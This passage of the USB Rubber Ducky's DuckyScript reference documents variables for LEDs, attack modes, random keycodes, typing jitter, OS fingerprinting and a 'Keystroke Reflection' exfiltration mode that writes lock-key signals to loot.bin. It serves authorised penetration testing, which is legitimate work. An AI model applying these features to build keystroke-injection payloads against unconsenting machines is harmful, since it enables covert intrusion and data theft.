STORAGE</code>.</p></td></tr><tr><td><code>$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY</code></td><td><p>Default set <code>TRUE</code>. May be retrieved or set.</p><p>The LED will light solid green when the storage has been inactive for longer than $<code>_STORAGE_ACTIVITY_TIMEOUT</code> (default 1000 ms). Otherwise, the LED will light red when active.</p></td></tr><tr><td><code>$_INJECTING_LEDS_ENABLED</code></td><td>Default set <code>TRUE</code>. May be retrieved or set. When <code>TRUE</code> the LED will blink green on payload execution.</td></tr><tr><td><code>$_EXFIL_LEDS_ENABLED</code></td><td>Default set <code>TRUE</code>. May be retrieved or set. When <code>TRUE</code> the LED will blink green during Keystroke Reflection.</td></tr><tr><td><code>$_LED_SHOW_CAPS</code></td><td>Default set <code>FALSE</code>. May be retrieved or set. When <code>TRUE</code> will bind the GREEN LED state to the <code>CAPSLOCK</code> state.</td></tr><tr><td><code>$_LED_SHOW_NUM</code></td><td>Default set <code>FALSE</code>. May be retrieved or set. When <code>TRUE</code> will bind the RED LED state to the <code>NUMLOCK</code> state.</td></tr><tr><td><code>$_LED_SHOW_SCROLL</code></td><td>Default set <code>FALSE</code>. May be retrieved or set. When <code>TRUE</code> will bind the GREEN LED state to the <code>SCROLLLOCK</code> state.</td></tr><tr><td><strong>ATTACKMODE</strong></td><td></td></tr><tr><td><code>$_CURRENT_VID</code></td><td>Returns the currently operating Vendor ID with endian swapped. May only be retrieved. Cannot be set.</td></tr><tr><td><code>$_CURRENT_PID</code></td><td>Returns the currently operating Product ID with endian swapped. May only be retrieved. Cannot be set.</td></tr><tr><td><code>$_CURRENT_ATTACKMODE</code></td><td>Returns the currently operating ATTACKMODE represented as <code>0</code> for <code>OFF</code>, <code>1</code> for <code>HID</code>, <code>2</code> for STORAGE and <code>3</code> for both <code>HID</code> and <code>STORAGE</code></td></tr><tr><td><strong>RANDOM</strong></td><td></td></tr><tr><td><code>$_RANDOM_INT</code></td><td>Random integer within set range.</td></tr><tr><td><code>$_RANDOM_MIN</code></td><td>Random integer minimum range (unsigned, 0-65535)</td></tr><tr><td><code>$_RANDOM_MAX</code></td><td>Random integer maximum range (unsigned, 0-65535)</td></tr><tr><td><code>$_RANDOM_SEED</code></td><td>Random seed from <code>seed.bin</code></td></tr><tr><td><code>$_RANDOM_LOWER_LETTER_KEYCODE</code></td><td>Returns random lower letter scancode (a-z)</td></tr><tr><td><code>$_RANDOM_UPPER_LETTER_KEYCODE</code></td><td>Returns random upper letter scancode (A-Z)</td></tr><tr><td><code>$_RANDOM_LETTER_KEYCODE</code></td><td>Returns random letter scancode (a-zA-Z)</td></tr><tr><td><code>$_RANDOM_NUMBER_KEYCODE</code></td><td>Returns random number scancode (0-9)</td></tr><tr><td><code>$_RANDOM_SPECIAL_KEYCODE</code></td><td>Returns random special char scancode (shift+0-9)</td></tr><tr><td><code>$_RANDOM_CHAR_KEYCODE</code></td><td>Returns random letter number or special scancode</td></tr><tr><td><strong>JITTER</strong></td><td></td></tr><tr><td><code>$_JITTER_ENABLED</code></td><td>Set <code>TRUE</code> to enable jitter. Default <code>FALSE</code>.</td></tr><tr><td><code>$_JITTER_MAX</code></td><td>Sets the maximum time between key presses in milliseconds. The default maximum is 20 ms.</td></tr><tr><td><strong>LOCK KEYS</strong></td><td></td></tr><tr><td><code>$_CAPSLOCK_ON</code></td><td><code>TRUE</code> if on, <code>FALSE</code> if off.</td></tr><tr><td><code>$_NUMLOCK_ON</code></td><td><code>TRUE</code> if on, <code>FALSE</code> if off.</td></tr><tr><td><code>$_SCROLLLOCK_ON</code></td><td><code>TRUE</code> if on, <code>FALSE</code> if off.</td></tr><tr><td><code>$_SAVED_CAPSLOCK_ON</code></td><td>On USB attach or <code>SAVE_HOST_KEYBOARD_LOCK_STATE</code>, sets <code>TRUE</code> or <code>FALSE</code> depending on the reported OS condition.</td></tr><tr><td><code>$_SAVED_NUMLOCK_ON</code></td><td>On USB attach or <code>SAVE_HOST_KEYBOARD_LOCK_STATE</code>, sets <code>TRUE</code> or <code>FALSE</code> depending on the reported OS condition.</td></tr><tr><td><code>$_SAVED_SCROLLLOCK_ON</code></td><td>On USB attach or <code>SAVE_HOST_KEYBOARD_LOCK_STATE</code>, sets <code>TRUE</code> or <code>FALSE</code> depending on the reported OS condition.</td></tr><tr><td><code>$_RECEIVED_HOST_LOCK_LED_REPLY</code></td><td>On receipt of any lock state LED control code, sets <code>TRUE</code>. This flag is helpful for fingerprinting certain operating systems (e.g. macOS) or systems which do not reflect lock keys.</td></tr><tr><td><strong>STORAGE</strong></td><td></td></tr><tr><td><code>$_STORAGE_ACTIVITY_TIMEOUT</code></td><td>As payload is running, this value decrements if storage activity is not detected. Default value is 1000.</td></tr><tr><td><strong>EXFILTRATION</strong></td><td></td></tr><tr><td><code>$_EXFIL_MODE_ENABLED</code></td><td>Default <code>FALSE</code>. Set <code>TRUE</code> to enable Keystroke Reflection. Will listen for <code>CAPSLOCK</code> and <code>NUMLOCK</code> changes, writing binary values to loot.bin. num=1, caps=0.</td></tr><tr><td><strong>OS_DETECT</strong></td><td></td></tr><tr><td><code>$_HOST_CONFIGURATION_REQUEST_COUNT</code></td><td>Used by <code>OS_DETECT</code> <code>EXTENSION</code> to detect device enumeration count.</td></tr><tr><td><code>$_OS</code></td><td>Used by <code>OS_DETECT</code> <code>EXTENSION</code> to return value of fingerprinted operating system. May return <code>WINDOWS</code>, <code>MACOS</code>, <code>LINUX</code>, <code>CHROMEOS</code>, <code>ANDROID</code>, <code>IOS</code>. These names are reserved and should not be used in user variables.</td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://documentation.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
